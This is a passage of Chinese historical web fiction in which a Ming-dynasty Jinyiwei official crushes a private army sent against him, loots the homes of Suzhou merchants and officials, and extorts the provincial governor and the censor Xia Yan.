这其中就有张钦顺,所以张钦顺自然不会眼睁睁的看着周楚拿走属于自己的钱。 只是他怎么都没想到周楚会如此厚颜无耻,集结了数百锦衣卫围在这里,还说自己以权压人。 “周大人,你休要血口喷人,咱们今天只是就事论事。” 张钦顺气急道。 “好,就事论事,欠债还钱,天经地义吧?张大人倒是奇怪,难道本官要账还有错了?” 周楚反问道。 “本官倒要问一问,张老板因何欠了周大人这么多钱?本官可是听闻,这些都是周大人逼迫张老板签的。” 张钦顺既然来了,自然是有准备的。 “哦?张老板,这两张借据,可是本官逼迫你签的?” 周楚看向一旁的张子义,面容和煦道。 周楚越是这副表情,张子义内心越是发毛,不过此时张钦顺带着这么多官员在这里,张子义觉得即便是周楚,也不敢乱来。 主要是让张子义交出这么多钱,比杀了他还难受。 “小人确实是被周大人逼迫,不得不签下这两张借据。” 张子义强行镇定道。 原本他以为周楚听到这话会大发雷霆,不过事实却出乎了他的预料,周楚非但没有生气,脸上的笑容反而愈发灿烂了。 “既然张老板这么说,那就请张老板详细说一下,你是在什么情况下被本官逼迫着签下这两张借据的,先说这一张吧。” 周楚说着拿出那张两千万贯的欠条,展示给众人看。 张子义听到这话,心里咯噔一下,顿时意识到大事不妙,原来周楚在这里等着他呢。 不过话已至此,他也只能硬着头皮上了。 “这一张是当初周大人刚到苏州府的时候,小人喝醉了酒,一时糊涂,带着几个家奴堵了锦衣卫所的门。” 张子义很聪明,选择了避重就轻,无论是喝醉了酒还是几个家奴,都在有意无意的逃避责任。 “张老板,很多事不是你想怎么说就怎么说的,当时锦衣卫所,无论是千户还是那些锦衣卫都在,有无数人证可以证明是怎么回事。” 周楚说到这里,原本的笑容消失不见,面容变得无比严肃。 “张子义,当初你带着上百位恶奴围攻锦衣卫所,意图谋反,现在我锦衣卫所要将你抓捕归案。” 周楚此话一出,张子义傻眼了,张钦顺也傻眼了,之前的事,张子义怕上面责怪,描述的时候也是使用的春秋笔法,让张钦顺等人以为没多大事。 但现在听周楚一说,他才明白是怎么回事。 这要是在以前,倒也不算什么事,那时候的张子义在苏州府横行无忌,区区一个锦衣卫所,围了也就围了。 偏偏这次围攻锦衣卫所,怎么就这么寸,正好碰上了周楚来到苏州府。 “张老板,本官所言可有半分不实?” 周楚看着张子义,冷笑道。 张子义张了张嘴,却说不出任何反驳的话来。 他不蠢,明白事情到了这个地步,自己再如何狡辩,都改变不了结果了,别看旁边有这么多官员,周楚铁了心的要抓自己,这些人一点用都没有。 “无有不实之处。” 张子义似是认命了一般,满脸颓然道。 “动手。” 周楚就等着张子义这句话呢,既然认这件事,那就没什么好说的了,该抓的抓,该抄家的抄家。 周楚很清楚,张子义作为江南最大的生丝商人,掌握着整个江南三成左右的生丝,平日里掌控的生丝价值就在一千万贯左右。 这种人掌握的钱财绝对异常恐怖,不过周楚更清楚,张子义的这些钱,不过也是他暂时拥有的,不知道被多少人盯着呢。 这个张钦顺,显然就是其中一个。 甚至崔文奎以及夏言,都在盯着张子义呢,张子义对他们而言是一个再好不过的钱袋子,等到合适的时候,就可以卸磨杀驴了。 只是他们怎么都没想到,会被周楚截胡,却又毫无办法。 陈昭满脸兴奋地带着锦衣卫开始抄家,不得不说,张子义的家很大,特别大,正是因为足够大,才能存放足够的钱财和古玩字画。 张钦顺眼看着锦衣卫拉着一辆辆车进出张家,心里在滴血,却又找不到任何理由阻止,最后干脆一甩手,转身离去,眼不见心不烦。 张家太有钱了,锦衣卫从下午开始抄家,最后连夜抄家,数百人忙活了一整夜,才算是将整个张家抄完了。 不过苏州的锦衣卫所毕竟不像京城的北镇抚司那般规矩,张昭为了防止手下这些人乱伸手,抄完家之后,每个锦衣卫都要经过详细的搜身,一旦发现私藏的,直接罢官削职。 经历了整整一夜,终于将整个张家抄完了。 第二天一早,周楚看着抄家的文书,也被张子义家里的财富震惊到了。 黄金五万两,白银一千三百多万两,铜钱八千多万贯,古玩字画,珠宝玉器更是数不胜数。 杀人放火金腰带,做生意哪有抢钱来得快。 周楚忍不住感慨。 随即大手一挥,拿出十万贯铜钱让陈昭分给所有的锦衣卫。 整个苏州府的锦衣卫所满打满算也就大几百个锦衣卫,十万贯每人可以分到一百多贯,也算是发了一笔小财。 至于剩下的,周楚拿出来是三百万两白银和一千万贯铜钱,算是还了自己的第一张欠条,至于第二张,周楚根本没打算作数,毕竟这些钱都是皇帝的钱,自己多拿一分,皇帝就少拿一分。 剩下的那些,周楚二一添作五,将九成给皇帝装车送往京城,剩下的一成,留作军费和修筑堤坝的费用。 实际上,周楚从未想过用户部的拨款来修筑堤坝,户部的拨款不过是周楚和皇帝放下去的一个钩子,为的就是把那些隐藏在其中的硕鼠抓出来。 当然,未必要全抓,水至清则无鱼,但最起码得保证剩下的那些人都得站在皇帝这边。 崔文奎和夏言此时也回过味来了,周楚如此大张旗鼓的抄了张府,其中一个原因恐怕就是为修筑堤坝弄钱。 想明白这一点,他们顿时坐不住了,一旦堤坝修好,他们就很难再有这么好的机会对付周楚和严嵩了。 “要早做决断,崔大人。” 夏言阴恻恻地看着崔文奎道。 实际上,从夏言刚到江南的时候,就跟崔文奎建议让他们集中一切力量,务必一次弄死周楚,永除后患,但崔文奎一直在犹豫。 军队肯定是动不了的,想要动周楚的话,那就得集结各家的家奴,不要说整个江南的富商和官员的家奴了,随随便便集结一些,也得有几千人了。 在崔文奎看来,对付周楚完全是足够了。 只是之前崔文奎一直在犹豫,毕竟真要这么做的话,事情就太恶劣了,几千人可不是一句倭寇作乱能遮盖的。 不过此时是迫在眉睫了,崔文奎拍了拍桌子。 “告诉他们,每家出五十个家奴,要身强力壮的。” 夏言听到这话,眼睛顿时亮了。 “到时候可以先放一把火。” 夏言对于自己的老手艺有些念念不忘。 第116章 战前动员,虎贲军的军火配置 正所谓事以密成,言以泄败。 崔文奎等人这么大张旗鼓的调集人手,早就被苏州府的荣门子弟注意到了,第一时间就告知了周楚。 苏州府的荣门弟子早已被周楚收编,现在也都成了锦衣卫的暗桩,有公家饭吃,还能背靠锦衣卫,这些乞丐哪有不愿意的道理。 对周楚而言,这些荣门弟子就是自己在苏州府的眼睛,一旦有什么风吹草动,也能提前预知,锦衣卫在苏州各方势力的干预之下,能查看到的事极其有限,远不如京城的锦衣卫。 当初答应金有财把小刀带在身边,最大的收获便是和荣门搭上线,无论是周楚还是荣门,都觉得自己赚大了。 “大人,这些人来者不善啊。” 沈炼有些担忧道。 “不过是狗急跳墙罢了,这说明他们已经坐不住了,此时不动手,一旦等到堤坝修成,想再找机会对我们动手就难了。” 周楚冷笑道。 “不过是一些恶奴罢了,乌合之众,不堪一击,既然他们不按规矩来,那就别怪我不客气了。” 周楚说完这话,看向了一旁的林鹿。 “让虎贲军集合,他们很久没实战了吧?” 林鹿听到这话,也是满脸兴奋。 他作为虎贲军的副统领,比谁都清楚整个虎贲军恐怖的战斗力,特别是经过这么久的训练,每一个虎贲军单拉出来,单体实力都无比恐怖,更不用说整个虎贲军现在有两千人左右。 这两个月陆陆续续又招了一些人,将虎贲军的数量控制在两千人左右。 无论是虎贲军还是玄武军,周楚走的都是精英路线,完全是当成特种兵团来训练的。 以后或许会招收大兵团,但那是另外的番号和部队了,虎贲军和玄武军的数量不会太多。 这两个多月以来,自从京城南镇抚司的大量工匠抵达苏州府之后,制造弗朗机炮和燧发枪的效率大大增加,弗朗机炮被周楚命名为大明子母连环炮。 如今虎贲军的军火库之中,子母连环炮就有近两百门,燧发枪更是有两千多把,虎贲军甚至可以人手一把。 整个南镇抚司的工匠几乎都被周楚调了过来,有四五百人。 这两个月的时间,虎贲军着重训练的便是射击,现在的虎贲军不能说人人百发百中吧,但枪法可以说在整个大明所有部队之中也算得上是数一数二的了。 毕竟射击技术除非是天赋异禀,否则就只能靠子弹喂出来,周楚让那些工匠着重制造的不是枪炮,而是子弹和炮弹,钱管够的情况下,这些人的生产效率是很惊人的。 大明无论是冶铁还是各方面的制造效率,都远超其他封建王朝。 “吹号,集合!” 林鹿来到虎贲军军营之中,将所有的百夫长叫过来道。 一众百夫长听到这话,顿时来了精神,他们明白,副统领和统领虽然经常来练兵,却极少如此郑重其事的集合。 一旦集合,就意味着有大事,这让早已摩拳擦掌的一众百夫长极为兴奋。 很快,集结号就响了起来,原本正在训练的虎贲军听到军号,一个个迅速向校场方向集合。 刘继是苏州府锦衣卫的一个总旗,正七品。 这要是在京城,见官大三品,哪怕他只是一个小小的总旗,也可以背靠锦衣卫或者北镇抚司横着走了。 但偏偏这里是苏州府,别说见官大三品了,能和正七品的官员平等对话就不错了。 在整个江南,特别是苏州府,锦衣卫的地位极为尴尬,谁都不敢得罪,基本没什么捞钱的机会。 那时候的刘继虽然是个锦衣卫总旗,但只靠着俸禄养活一家子都捉襟见肘,更不用说做其他事了。 这一切自从周百户来到苏州府之后,全都不一样了,这个百户大人似乎非同一般,连千户大人都对他毕恭毕敬,刘继虽然虽然不明白其中的原因,却也不敢多问。 作为锦衣卫最基本的本事就是要明白什么该问,什么不该问。 两个月前的那次倭寇袭击让刘继记忆犹新,那时候刚得到倭寇来袭的消息的时候,刘继惊出了一身冷汗。 别人或许不清楚,他可是很清楚的,井上三郎这一批倭寇极其凶狠,刘继的不少同僚就是死在这些倭寇手中的。 只不过这种心惊肉跳很快就被周楚以及虎贲军抚平了,当刘继在陈昭身旁亲眼目睹虎贲军如同庖丁解牛一般,轻而易举地将这些倭寇全歼的时候,终于明白了为何千户大人对周大人如此恭敬。 后来刘继更是得到了一个惊人的消息,一直跟在周大人身后的那两个年轻人之一,林鹿林大人,居然是公主的儿子,还封侯了。 知道这个消息的时候,刘继倒吸了一口凉气,整个人都不好了,他实在是想象不出,周大人到底是何等身份,居然要这样一个人来充当侍卫。 不过无论是对刘继还是其他苏州府的锦衣卫而言,周楚的到来让他们彻底直起腰来了,这段时间他们无论看到任何官员,都极其硬气,那些官员也不像以前那般倨傲了,一个个都变的极好说话。 最重要的是,自从那次剿灭倭寇的行动之后,刘继他们每人都发了一笔小财,千户大人说这位些钱是周大人赏给他们的。 这让刘继对周楚感恩戴德,他觉得苏州府的锦衣卫不能没有周大人,特别是这两日,他们每人又分到了一百多贯,这让苏州府的锦衣卫们瞬间富裕了起来,以前想做不敢做的事,现在都敢做了。 比如此时刘继正在和他的同僚正在花船上面听曲喝酒,不亦乐乎。 实际上不只是今日,这之前的两个月之中,刘继和他的同僚们,隔三差五就会来一次花船,亦或是去青楼。 不过青楼整体消费水平更高,文人们更喜欢去,花船则不同,虽说也有高端一些的花船,但大多数花船更适合刘继这些人。 刘继和他的几位同僚今日休沐,所以想约来花船上喝花酒。 几人正兴致高昂的时候,一个锦衣卫百户闯了进来。 “别他娘的喝花酒了,周大人有事安排,赶紧醒醒酒。” 百户进来之后,拿起桌子上的茶水,就泼在了醉眼朦胧的刘继脸上。 刘继听到这话,酒瞬间醒了大半,用手擦了擦脸上的酒水,急忙站起身子。 “周大人有何吩咐?我等定为周大人冲锋陷阵。” 第117章 虎贲军的威势,正面冲突! 很快,天色就暗了下来,整个苏州府似乎都陷入了一种诡异的寂静之中,连街道上的行人都比往日要少了许多。 此时的虎贲军已经整装待发,人手一把燧发枪,配备好了弹药,身上更是全副武装。 那些南镇抚司的工匠们这两个月造的可不只是枪炮,还有盔甲,既然要打造精英部队,那么所有配置自然都是拉满的,就这身行头,让那些恶奴来砍,都破不了防。 林鹿看着身后整装待发的虎贲军,又想起了之前自己在边境的那支部队,没有对比就没有伤害。 虽然虎贲军只有两千人左右,但林鹿清楚,真要是两军对垒,这两千虎贲军冲阵的话,只会像一把利刃刺进豆腐之中,无人能挡。 这种军队,林鹿都想不出整个大明有哪个部队能与之一战,林鹿越是跟着周楚,越是敬佩这位比自己小很多的周大人,无论林鹿从哪方面看,都觉得周楚强的有点可怕。 似乎没有他做不到的事,很多事周楚做的时候,林鹿一头雾水,等到后来某一刻,他突然有种拨开云雾见青天的感觉。 和周楚接触的越久,他对周楚的崇拜之情就越重。 林鹿很清楚,陛下登基之后之所以能够如此轻易的打开局面,和周大人有极大的关系,倘若没有周大人,陛下想要打开局面,要难很多,起码要过几年。 别的不说,单单是那杨廷和杨一清这两个老狐狸,又岂是那么容易对付的。 沈炼和林鹿的想法也差不多,和周楚相处的越久,沈炼越觉得周楚强的可怕,越是对当初老师的那些话认可,沈炼很清楚,只有眼前的周大人能改变大明的现状,其他人都没有这个魄力。 虎贲军和锦衣卫此时都伺机待发,不同的是,虎贲军是主力,一会可以随意冲杀,锦衣卫要做的不过是打扫战场,正面冲突没他们的份。 这对苏州府的锦衣卫而言,再好不过,真要他们冲杀,肯定会出现伤亡,现在正面冲杀不需要他们上,只需要打扫战场,事后还能分到好处,还有比这更好的事吗? 周楚让虎贲军和锦衣卫都隐藏了起来,既然崔文奎他们要动手,那就让他们先动手,先动手的人就失了先机,周楚反手再行动,怎么说都说得过去。 如此,众人等了许久,子时左右,有十几个人悄悄的摸了过来,手里还拿着什么东西。 很快,周楚就知道这些人手里拿的是什么了。 火油。 这些人一泼火油,火油那味道就随风飘了过来。 “让你的人把他们都按住,不要让他们跑了。” 周楚对旁边的陈昭说道。 虎贲军此时还不能动,以免打草惊蛇。 陈昭听到这话,冲着身后的锦衣卫挥了挥手,上百位锦衣卫跟了上去,不动声色的将这些人围在其中。 此时是子时,这些人怕暴露,又没有拿火把照明,基本都是摸黑过来的,再加上陈昭的人刚开始的包围圈很大,这些人愣是没发现。 眼看着锦衣卫的包围圈越来越小,这些人才反应过来,不过为时已晚,想纵火都来不及,直接被一众锦衣卫蜂拥而上,直接按住,连嘴都被堵住了,想喊都喊不出来。 陈昭让人将这些人押下去之后,再次回到了原本的位置隐藏了起来。 另外一边,崔文奎手下的人早已集结了近五千恶奴,说是恶奴,其实都是私兵,这些私兵都配有武器,但盔甲是没有的。 任何朝代,盔甲的管制都是极其严格的,武器的话,崔文奎在整个江南军政一把抓,再加上海上的那些途径,总是能搞到一些的。 今晚的行动,崔文奎和夏言是不会沾边的,这种事无论成与不成,事后都是一屁股屎,自然得推出来一个顶缸的。 这次被推出来的不是别人,正是崔文奎的大哥崔文山的管家王淮。 王淮孤家寡人一个,自小就被崔文山收养,也没成家,对崔家可谓是忠肝义胆,崔文奎只是和他一说,他想都没想就答应了下来。 王淮左等右等,也没看到周楚家的方向着火,那些被他派过去放火的过去了半个时辰还没有一丝音讯。 “大人,放火的人应该是被抓了,周楚是锦衣卫的人,住的地方有锦衣卫的暗哨也很正常。” 这些私兵之中的一个伍长来到王淮面前说道。 王淮心中也有了猜测,此时听到这话,当即下定了决心。 “不等了,冲吧。” 王淮说完这话,手中的火把一扬,身后的数千私兵直奔周楚的住处而去。 这些私兵来源复杂,又是刚刚集结,冲锋的阵型散乱不堪,可以说没有任何阵型,不过即便如此,王淮也充满了信心,再怎么说也有四五千人,就算是用堆也能堆死那个周楚,救出自家老爷和小姐。 四五千人,哪怕再怎么行动划一,也会有不小的动静,更何况这些人散乱不堪,就差没有喊杀出声了。 这些人为了防止自己人误伤,每个人胳膊上还都系了一条亮青色的布条。 林鹿远远的看着这些人的冲杀姿态,恨不得捂住自己的双眼,这种乌合之众也敢对大人出手,简直是不知死活。 这四五千人论战力,虽然比之前的倭寇强不少,但那要看和谁比。 和那些倭寇战斗的话,或许能赢,但对上虎贲军,他们的杀伤力甚至不如那些倭寇。 更何况如今的虎贲军早已不是原来的虎贲军了,每一位都武装到了牙齿,林鹿甚至看到了虎贲军无损全歼这些人的场面。 看样子那些人实在是被大人逼急了,否则也不会出这种昏招。 或者说他们觉得江南是他们的地盘,可以为所欲为,只要大人死了,事后怎么说,还不是全凭他们那张嘴? 林鹿心思电转之间,王淮已经带着这批人冲杀到了周楚家门口,王淮刚要让他们把手中的火把扔进周府,眼前周府的门突然打开了。 庭院之中瞬间涌出无数全副武装的虎贲军,不只是庭院之中,原本隐藏在外面的虎贲军也从两侧杀向了这群乌合之众。 虎贲军一个个都带着青面獠牙的天王面具,身上的盔甲在火光之下反射出清冷的光芒,这让虎贲军如同一个个择人而噬的恶魔,仅仅是一个照面,就吓得很多人心里直哆嗦,一个个呆愣在原地。 第118章 夏言怕了,崔文奎怂了,兴师问罪的周楚 虎贲军如同一个个杀神一般,手持长刀杀入人群之中,所到之处,无一合之敌,这些私兵手中的武器甚至连破防都做不到。 一时之间,喊杀声,哀嚎之声,响彻夜空。 周楚在苏州府的家周围都是住宅,并不是空旷之地,所以在开战之前,周楚早就安排了锦衣卫堵住各个巷口。 这些私兵哪怕想四散而逃都做不到,那些想跑路的,全都被等候多时的锦衣卫斩杀了。 整场战争算不上曲折,甚至可以说是一面倒,自从这些人发现他们根本没办法砍伤眼前这支军队的时候,心态就崩了,开始了溃逃。 在锦衣卫和虎贲军的前后夹击之下,最终这些私兵一个都没跑出去,被周楚的人全歼了。 “锦衣卫留下打扫战场,虎贲军跟我来。” 周楚自然不会放过这么好的机会,既然有人背锅,那自己不趁火打劫都对不起崔文奎和夏言。 周楚带着虎贲军,一夜之间,席卷了几乎小半个苏州城,这个范围内的江南商会的富商和那些官员的府邸,尽数被虎贲军横扫一空,虎贲军在前,锦衣卫在后帮忙抄家。 说是抄家,实际上就是抢,速度要比抄家快了不知道多少倍。 这些人家里的钱财和各种宝物,装满了一辆辆马车,整个苏州城的百姓听到外面的喊杀之声,都紧闭大门,没有一个敢出来的。 周楚带着虎贲军就这么一路抢到天亮,天一亮立即停止,尽管已经以最快的速度抢了,毕竟只有后半夜,满打满算也就抄了二三十家,不过这些也就够了,够崔文奎他们难受很久了。 周楚要的就是要让这些人感觉到疼,让他们下次对自己动手的时候考虑清楚,能否承担得起失败的后果。 倘若每次对自己动手之后一点后果都不需要承担,那他们会一直想办法对自己动手。 只有千日做贼,没有千日防贼的道理。 抄完家之后,所有锦衣卫回到锦衣卫所,都要搜身,这种趁乱趁黑抄家的,肯定会有很多人动些手脚,这是不可避免的。 周楚甚至可以预见到,很多锦衣卫恐怕会把一些东西藏在半路上,像这种,周楚也懒得去一个个追究,毕竟每个人能藏的也有限,本身就是抢劫,不必追究的太过细致,任由他们藏,也藏不了多少东西。 这一次抄家获得的财物太多,周楚甚至都懒得让人统计了,只留下了大概价值一千多万贯的财物充当军费,剩下的直接让人送到码头装船,准备通过海运直接运往天津那边的港口,后面再由天津运往京城。 这个路线是最安全也是最快的。 这种抢来的钱财,一定要以最快的速度送到京城,迟则生变。 周楚并没有动崔文奎和夏言,一是摸不清这两人在哪里,这两人既然动手了,肯定做好了失败的打算,自然不会待在家里。 二来,夏言活着比死了对周楚而言更有用,朝堂之上不能只有一种声音,倘若朝堂上的人都是站在周楚这边的,那周楚也就危险了。 对皇帝而言,朝堂之上需要不同的声音,皇帝需要的是平衡。 留着夏言,对周楚而言有很多转圜的余地,一旦夏言死了,杨一清也干不了多久了,等杨一清致仕之后,朝堂上谁还会和周楚站在对立面? 所以周楚需要夏言活着。 政治斗争从来都不是简单的你死我活,很多时候政敌之间也是相互依存的关系。 崔文奎和夏言第二天一早就知道了昨晚发生了什么。 夏言吓的差点要跑路回京城,却被张璁拦住了。 “夏大人这是为何?陛下交代的事情还没办完,如今苏州发生如此大乱,我等更应该调查清楚,才能给陛下一个交代。” 夏言看着张璁振振有词的模样,恨不得掐死他,现在是调查不调查的事吗?夏言真担心晚上周楚的人摸过来把他弄死。 夏言怕了,真的怕了! 四五千人连个水花都没溅起来,就这么销声匿迹了?甚至连一个活口都没有。 夏言甚至都不敢细想,难不成周楚在暗中隐藏了一支数万人的军队?纵观苏州城,哪里能藏得下这么多人? 此时的夏言才深感江南的这趟浑水有多深,深到一个不小心就能把他淹死,夏言自为官以来,从未有过像现在的恐惧感,这种自己的命完全不掌握在自己手中的感觉,让夏言脊背发寒,如坐针毡。 偏偏他又被张璁拦着,还离不开这里。 实际上不只是夏言想不明白,崔文奎更想不明白,到底是什么样的军队能悄无声息的将四五千私军全歼,一个活口都没留下。 真有这样的军队隐藏在苏州城之中,那岂不是随时都能要了他的命? 这种部队,哪怕是自己调动江南省驻军,恐怕也未必是对手吧? 崔文奎越想越觉得不对,越想越觉得害怕,但他和夏言不同,夏言害怕了还可以想着往京城跑,他可是江南省的巡抚,哪也去不了。 此时的崔文奎,才感到周楚的可怕,他发现自己从始至终都没有看清楚周楚背后到底隐藏了多少实力。 至于昨晚周楚的人抢的那些家,崔文奎和夏言毫无办法,甚至还得想办法替周楚遮掩,否则这件事的真相一旦爆发出来,一来他们也洗不清干系,二来,他们还真怕周楚掀桌子。 以前他们敢如此嚣张,完全是因为他们觉得自己占据绝对的优势,崔文奎掌握着整个江南省的兵权,想对付一个周楚还不简单? 但现在他们才发现自己错了,错的离谱,他们错估了周楚的实力。 此时无论是崔文奎还是夏言,都怕了,他们希望以后苏州府和江南省的事,和周楚商量着来,千万不要动手,想办法把这个瘟神送走再说。 整个苏州府,甚至整个江南省,似乎都笼罩上了一层阴霾。 “大人,不好了,那个周楚带着锦衣卫的人来了,好像是要兴师问罪的。” 崔文奎手下的一个官员慌慌张张的跑到他面前道。 第119章 敲诈崔文奎夏言,周楚的阳谋 “周大人大驾光临,不知有何指教。” 崔文奎看着率众而来的周楚,强自镇定道。 实际上他内心怕的要死,他怎么都没想到周楚会如此得寸进尺,昨夜那般清洗了一次,今天一早还会带人过来兴师问罪。 倘若周楚不顾一切的掀桌子,崔文奎是一点办法都没有,他们这些文官擅长玩的是桌面下的游戏,一旦桌子被掀开了,面对面的情况下,他们比谁都怂。 如果这个人不是周楚,换成其他人,崔文奎或许不会这么怕,甚至还会想办法威慑一下,但偏偏是周楚,周楚过往的事迹历历在目,以前崔文奎听到那些事的时候,没什么感觉,此时自己面对的时候,才知道有多恐怖。 一旁的夏言也好不到哪里去,他恨恨地看着旁边风轻云淡的张璁,恨不得弄死他,要不是这家伙,自己此时已经在会回京的路上了,何至于像现在这般面对周楚这个活阎王。 “周大人,自京城一别,许久不见,周大人风采更胜往昔啊。” 夏言也怂了,不着痕迹地拍了个马屁,正所谓伸手不打笑脸人,千穿万穿马屁不穿。 “见过崔大人,夏大人,本官只是想找两位大人问问,这江南省是怎么了?这苏州府是怎么了?这还是不是大明的天下,是不是皇上的大明?” 周楚看着眼前的崔文奎和夏言,丝毫没给好脸色,上来就是一通质问。 站在周楚身后的陈昭眼看着这两位,一位封疆大吏,一位礼部尚书,在自家大人面前都跟孙子一样,大气都不敢出的模样,心中一阵舒爽,想想以前自己在崔文奎面前跟孙子一样,陈昭更是扬眉吐气。 自己以前过的是什么苦日子啊,周大人简直就是苏州府锦衣卫的救星。 “周大人何出此言呐?” 崔文奎擦了擦脑门子上的冷汗,低声道。 原本他还想着在周楚面前硬气一些,但此时面对周楚的压力远超他想象的大,毕竟无论是谁面对一个随时能要了自己命的疯子,都很难硬气起来。 “之前苏州出出现了一大批倭寇,对苏州府的百姓一顿劫掠,甚至还杀了知府王瓒大人,这是何等荒谬,简直是骇人听闻,令人发指,昨夜,又出现一批贼人,有四五千人,更是直接劫掠了苏州府内的数十位富商和官员。” “这种事,发生一次已经够不可思议的了,现在居然又发生了第二次,本官倒是想问问抚台大人,这数千人抚台大人难道就毫无察觉吗?” 周楚说这话的时候,就这么盯着眼前的崔文奎,让崔文奎感觉汗毛直竖,那种感觉就像是被一头择人而噬的猛兽盯着。 “还有这事?” 崔文奎装作满脸震惊道。 “简直是岂有此理,周大人放心,本官一定让人彻查,还苏州府一个朗朗乾坤。” 崔文奎为官多年,口号那是张口就来。 “我看崔大人手握军权也没什么用,几百个倭寇都平不了,如今还闹出这么多人,不知道的还以为这些人是抚台大人派出去的呢,这要是让百姓们知道,该作何感想?” 周楚完全没把崔文奎的屁话当回事,继续嘲讽道。 “大人这个帽子太大了,本官可不敢接,大人放心,本官一定让人彻查,肯定会给大人一个交代。” 崔文奎现在想着的是如何稳住周楚,先过了这一关再说。 周楚听完这话,懒得再搭理崔文奎,这种车轱辘话说来说去没什么意思,也探讨不出什么结果。 “夏大人,陛下让你代天巡狩,巡查江南,还能出这等骇人听闻之事,你这个监察御史太失职了。” 周楚看向一旁的夏言,说道。 夏言听到这话,头皮一紧,心想怎么还冲自己来了。 “周大人说的是,确实是本官的失察,本官失职。” 夏言干脆承认了自己的过错,失察总比其他罪名来得好,他和崔文奎都清楚,此时和周楚顶着来是一点好处都没有,万一把这个活阎王点炸了,后果不堪设想。 眼看这两人如此怂,周楚顿觉少了许多乐趣,当即也不再过多纠缠,指了指身后一群绑着绷带的锦衣卫,这些绷带是来之前周楚特意让他们绑的,为的就是来讹诈这两位。 虽然周楚清楚讹诈不了多少,但能恶心一下他们,也是极好的。 “昨日我们锦衣卫的人和那些匪徒英勇作战,好多都受了伤,崔大人,是不是应该给些补偿?” 崔文奎听到这话,又看了看那些锦衣卫身上捆的假的不能再假的绷带,心里都忍不住想骂娘了。 英勇作战?还受了伤?这么多人受伤,怎么一个死的都没有? 不过崔文奎也清楚,现在形势比人强,这话他还真不敢说出口,他想着的是怎么把周楚这个瘟神打发走,他是一刻都不想面对周楚。 “大人认为该如何补偿?” 崔文奎小心道。 “抚台大人看看他们,很多腿都被打断了,每个人怎么也得补偿一千贯钱,才能配得上他们昨夜的英勇。” 周楚煞有介事的拉着其中一个锦衣卫,那个被拉过来的锦衣卫瞬间化身顶级演员,满脸痛苦地哀嚎,手里还拄着拐杖,一只脚不敢沾地,生怕沾了地他会忍不住跑起来。 “这样吧,抚台大人拨出来一百万贯,算给他们的补偿。” 周楚似乎下定了很大的决心,如同给了崔文奎和夏言很大的面子一般,满脸痛心道。 听到这话,原本正在哀嚎的那些锦衣卫,一个个差点没绷住,纷纷想起了以往难过的事,才让自己没笑出来。 陈昭更是佩服的五体投地,敲竹杠敲到抚台大人和御使大人头上,陈昭听都没听过,今日却亲眼得见。 崔文奎听到周楚如此狮子大开口,差点一口老血吐出来,心想你可真敢开牙,一百万贯?你怎么不去抢啊? 要是用公款拨,整个江南省此时的军费有没有一百万贯还是两说,更何况那军费能动吗?一旦动了,手下的军队第一个不乐意。 崔文奎很清楚,周楚这是逼着他自掏腰包。 “好,就按周大人说的办,我需要筹措一下,明日让人给周大人送去。” 崔文奎咬牙切齿道。 这钱他不可能一个人出,甚至他自己都不会出,自然是让下边的人凑一凑,应付过去再说。 “崔大人果然深明大义,既然如此,本官就告辞了。” 周楚说完这话,也不再搭理崔文奎和夏言,神清气爽的带着锦衣卫的人离开了。 不过这件事周楚自然不会这么轻易的就算完了。 他已经让严嵩往京城递了奏疏,朝廷很快就会知道这边的消息,届时可以借着此事,拿下崔文奎的兵权,明面上交给王阳明统辖,让王阳明节制两省兵权,实际上江南省的兵权是交到周楚的手上。 到时候外有朝廷施压,内有周楚虎视眈眈,崔文奎就是有七十二变,也得乖乖的交出兵权,除非他想造反。 想造反也得看看周楚同不同意。 这便是周楚为崔文奎设下的一个阳谋,以绝对的实力和威慑力为前提得阳谋。 阳谋之所以无解,完全是因为使用阳谋之人有足够的实力,周楚此时就有这个实力。 “崔大人,这么下去不是办法啊,难道以后江南就任由周楚掀翻了天?” 周楚离开后,夏言顿时又有了底气,看着崔文奎说道。 崔文奎自然也明白这个道理,他们必须继续和周楚斗,但又不能明面上去做。 “让人去给昌国公和建昌侯去信,就说如今整个苏州府和江南都在周楚的监视之下,他们走私的货物全都被周楚扣下了。” 崔文奎冷笑道。 即便他们自己不能对周楚出手,但他们手里还有两张很好用的牌。 第120章 云瑾的目标,愤怒的嘉靖,杨一清的担忧 云瑾这段时间在安南,可谓是一言九鼎,论地位没人比得上她,说是安南的太上皇也不为过。 换成其他人,这个年纪获得这种地位,恐怕早就飘的不知所以然了,但云瑾不同。 她只是让黎椿不断地从安南百姓手中收购粮食,花费的钱则从云瑾之前抢的那些走私船的钱里面出。 云瑾抢这些船很有讲究,出海的不抢,因为船上都是货物,抢了不好出手不说,价值也远不如返航的那些船上,倒是那些返航的船,每艘船上面装着的基本都是白银。 东瀛什么都不多,就白银多,这也是那些江南富商们几乎家家都有几十万两白银的根本原因。 安南的百姓得知有人愿意花钱买他们的粮食,都无比高兴,因为他们的粮食根本吃不完,没人买的话,基本都是堆在家里,慢慢发霉腐烂,因此云瑾收购这些粮食的价格极低,甚至不到大明米价的十分之一。 这就是买方市场,大明的粮食商人都知道安南的粮食便宜,但谁都不会大规模从安南买粮食,首先是买粮食不如买其他的,其次则是因为这里的粮食一旦大量涌入大明的话,大明的米价将会雪崩。 米价雪崩的结果,不只是影响粮商,更多的影响的是大明的百姓,百姓辛辛苦苦种植的稻米卖不上价格,没有钱如何养活自己一家人? 很多底层百姓种出来稻米是舍不得吃的,都会选择卖了钱买粗粮或者更便宜一些的能饱腹的粮食。 精粮也不是不吃,偶尔也会吃一顿改善一下,但顿顿吃精粮,一般百姓家可受不住。 这么多年,云瑾之所以勤学不辍,就是想尽量追上周楚的步伐。 很多时候,云瑾也有些感慨,倘若不是当年自己的母亲买下了二哥,陆家的命运恐怕会和现在大有不同,自己能不能活到现在还不知道呢。 就算没有当年那些事,自己大概也是和其他女子一般,学一些女红,学一些诗书,等到年龄差不多,就找一个合适的人家嫁了。 原本如果没遇到周楚的话,云瑾可能不会觉得这样的生活有什么不好。 但自从跟在周楚身边之后,没人比她更清楚自己的二哥有多优秀,有多离谱。 当初周楚一步登天的时候,很多人都惊掉了下巴,只有云瑾丝毫不觉得意外,她明白,周衡器这个名字响彻大明,只是时间问题,甚至响彻世界,都不是不可能。 那段时间围绕在周楚身边的女人很多,但云瑾从未把她们放在眼里,她很清楚,这些女人的认知和自己的二哥根本不在一个层次,自己的二哥不可能会被这些女人迷住。 这些女人之中,除了楚璃让她感受到了一丝威胁,不过也仅仅是一丝威胁罢了。 就连那县主林瑶,云瑾也从未放在眼里。 